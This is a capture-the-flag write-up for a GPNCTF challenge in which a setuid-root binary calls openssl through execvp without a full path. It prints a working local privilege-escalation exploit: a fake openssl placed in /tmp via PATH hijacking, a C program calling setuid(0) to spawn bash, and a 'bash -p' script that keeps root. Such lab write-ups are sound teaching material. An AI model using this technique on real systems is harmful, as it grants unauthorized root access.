I swear this isn’t crypto. Pinky promise. And you don’t have to bruteforce anything.

Category: misc

Solver: linaScience, MarDN, t0b1, Liekedaeler

Flag: GPNCTF{TH3_S_1N_S3TU1D_5T4ND5_F0R_S3CUR1TY}

Writeup

Guessing the date

On the server, we have the following files:

ctf@sweet-dreams-are-made-of-this--micar-7714:/app$ ls -liash
ls -liash
total 32K
100824878    0 drwxr-xr-x 1 root root   45 May 29 01:31 .
101555908    0 dr-xr-xr-x 1 root root   28 Jun  8 14:26 ..
100824879  20K -rwsr-xr-x 1 root root  17K May 29 01:31 cli
 68506109 4.0K -rw------- 1 root root 1.3K May 28 20:43 cli.c
 68506110 4.0K -rw------- 1 root root   98 May 28 20:43 encrypt.sh
100824881 4.0K -rwx------ 1 root root   90 May 29 01:31 flag.enc

Oddly enough, we only have read and execute rights for the cli binary as we are the user ctf and not root. So, let’s have a look at the no-crypto.tar.gz that was provided before we take a further look at the server. In the tar, we get a Dockerfile, an encrypt.sh as well as the cli.c for the server.

The Dockerfile unfortunately removes the flag as well as gcc and apt to “safe some space”. The encrypt script looks like this:

date=$(date -uIseconds)
openssl enc -aes-256-cbc -k "$date" -pbkdf2 -base64 -in flag -out flag.enc

We see here that the flag is encrypted in flag.enc with a specific date.

In cli.c we see the following:

#include <stdio.h>
#include <string.h>
#include <sys/types.h>
#include <sys/wait.h>
#include <unistd.h>
#include <stdlib.h>

int main() {
    while (1) {
        char date[256];
        printf("Guess when I was encrypted ([YYYY]-[MM]-[DD]T[HH]:[MM]:[SS]+[HH]:[MM]): ");
        if (fgets(date, sizeof(date), stdin) == NULL) {
            printf("Error reading input.\n");
            return 1;
        }
        date[strcspn(date, "\n")] = '\0';
        pid_t pid = fork();
        if (pid == -1) {
            printf("Error forking process.\n");
            return 1;
        } else if (pid == 0) {
            // Child process
            char* argv[] = {"openssl", "enc", "-d", "-aes-256-cbc", "-k", date, "-pbkdf2", "-base64", "-in", "flag.enc", "-out", "/dev/null", NULL};
            execvp("openssl", argv);
            printf("Error running openssl.\n");
            return 1;
        } else {
            // Parent process
            int status;
            waitpid(pid, &status, 0);
            if (WIFEXITED(status) && WEXITSTATUS(status) == 0) {
                printf("The guessed date is correct!\n");
                return 0;
            } else {
                printf("The guessed date is incorrect. Try again!\n");
            }
        }
    }
}

We have to guess the date when the flag was encrypted, then the flag gets decrypted, and we also know that it was correct. So let’s guess the date! This shouldn’t be too easy as our search space is relatively huge and according to the challenge description we shouldn’t bruteforce anything, so what could be the correct date?

Our first idea is to just run stat flag.enc to check the file’s metadata:

ctf@sweet-dreams-are-made-of-this--micar-7714:/app$ stat flag.enc
stat flag.enc
  File: flag.enc
  Size: 90          Blocks: 8          IO Block: 4096   regular file
Device: 100022h/1048610d    Inode: 100824881   Links: 1
Access: (0700/-rwx------)  Uid: (    0/    root)   Gid: (    0/    root)
Access: 2024-05-29 01:31:06.000000000 +0000
Modify: 2024-05-29 01:31:06.000000000 +0000
Change: 2024-06-03 09:29:18.123290640 +0000
 Birth: 2024-06-03 09:29:18.123290640 +0000

Oddly enough, we see that the access and modify date is dated back before the CTF started 2024-05-29 01:31:06.000000000 +0000. So maybe this is the correct date. We run the cli binary and type in 2024-05-29T01:31:06+0000 and voilà the date is correct. So, this was the “crypto” part of the challenge, but we didn’t get a flag as the binary only outputs whether the date is correct. As we wanted to decrypt the flag.enc with the correct date we remembered that we cannot access it as we aren’t root, uff. We could have overlooked something, so let’s have another look on the cli.c again!

The cli.c again

There are several facts which we didn’t see at first glance. First, the flag does get decrypted, well kind of, because the result is directed to /dev/null which we sadly cannot access. Furthermore, it is interesting that execvp with openssl is executed, as we can pass the date argument in the char* argv[] right at the beginning with the fgets. And apparently the scales fall off our eyes, it has a setuid bit set for everyone that executes the file! So maybe we need to get a privilege escalation to get root, and then we may be able to decrypt the flag.enc.

Privilege escalation?

We think of some ways to elevate our privileges. First, we look through the man page of execvp and come across the following lines:

These functions duplicate the actions of the shell in searching for an executable file if the specified filename does not contain a slash (/) character. The file is sought in the colon-separated list of directory pathnames specified in the PATH environment variable.

Since the call in our program is execvp("openssl", argv) and as such the filename doesn’t contain a slash, the program will use the PATH environment to resolve the openssl binary. So, the /tmp directory seems to be one where we have write permissions. Thus, we write a script in /tmp/openssl which executes a simple echo "Hello World" and redefine our PATH to include /tmp with PATH=/tmp:$PATH. Then, we try to execute the cli binary which now should use the self-defined script in /tmp:

ctf@boulevard-of-broken-dreams--niemann-2033:/app$ cat /tmp/openssl 
#!/bin/bash
echo "Hello World"
ctf@boulevard-of-broken-dreams--niemann-2033:/app$ echo $PATH
/tmp:/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin
ctf@boulevard-of-broken-dreams--niemann-2033:/app$ ./cli
Guess when I was encrypted ([YYYY]-[MM]-[DD]T[HH]:[MM]:[SS]+[HH]:[MM]): a
Hello World
The guessed date is correct!

It worked! When we now change the script to give us a shell, it seems that it drops our privileges back to the ctf user.

The real exploit

How could we maintain the privileges? We could try to create another binary which gets us a privileged shell, but it is called openssl. So, we write a C program that gets us a privileged shell, as so:

#include <stdlib.h>
#include <errno.h>
#include <unistd.h>
#include <stdio.h>

int main() {
    int ret = setuid(0);
    if(ret != 0) {
            perror("setuid");
            return -1;
    }
    system("/bin/bash");
}

We compile it on our side with gcc -o openssl exploit.c as gcc was removed on the server to “safe some space”. Then we upload it to the server as the new openssl in /tmp and change the homepath to /tmp as we previously did. With that script in our pocket we can get root now, as the execvp('openssl', date) now executes our openssl script and thus we get a root shell :) We now just do cat flag.enc as we can read it now and get U2FsdGVkX1/sjCeFPp6H3IyKG7U3jK5EMGZzRHuHf6V+242a2UN5ajV3x405t6qpj9iKLCaHwb8b6I6c6cz2Kg==. As we have the correct date, we can now decrypt the flag.enc with the settings given in cli.c, where we substitute /dev/null with flag like so openssl enc -d -aes-256-cbc -k '2024-05-29T01:31:06+0000' -pbkdf2 -base64 -in flag.enc -out flag and finally get the flag in the flag file stating GPNCTF{TH3_S_1N_S3TU1D_5T4ND5_F0R_S3CUR1TY} :D

The alternative solution

While writing this writeup we came across another solution as compiling on our machine and copy the stuff on the server is a bit tedious. So the following solution avoids these headaches. As we found out earlier bash itself drops privileges, meaning it resets the effective user id to the real user id by default. Bash only drops it privileges without the -p flag as said in the following:

If the shell is started with the effective user (group) id not equal to the real user (group) id, and the -p option is not supplied, […], and the effective user id is set to the real user id. If the -p option is supplied at invocation, the startup behavior is the same, but the effective user id is not reset.

So our first approach could work when we add the -p flag for both, the shebang and the bash as follows:

echo "#!/bin/bash -p\nbash -p" > /tmp/openssl
chmod +x /tmp/openssl
export PATH=/tmp:$PATH
./cli

We enter the date again, and then we can run id to see what privileges we have now.

bash-5.1# id
uid=1000(ctf) gid=1000(ctf) euid=0(root) groups=1000(ctf)

Turns out, that we kept the euid=0(root) and thus are effectively root. So we can run cat flag.enc and proceed with the same as above to get the flag.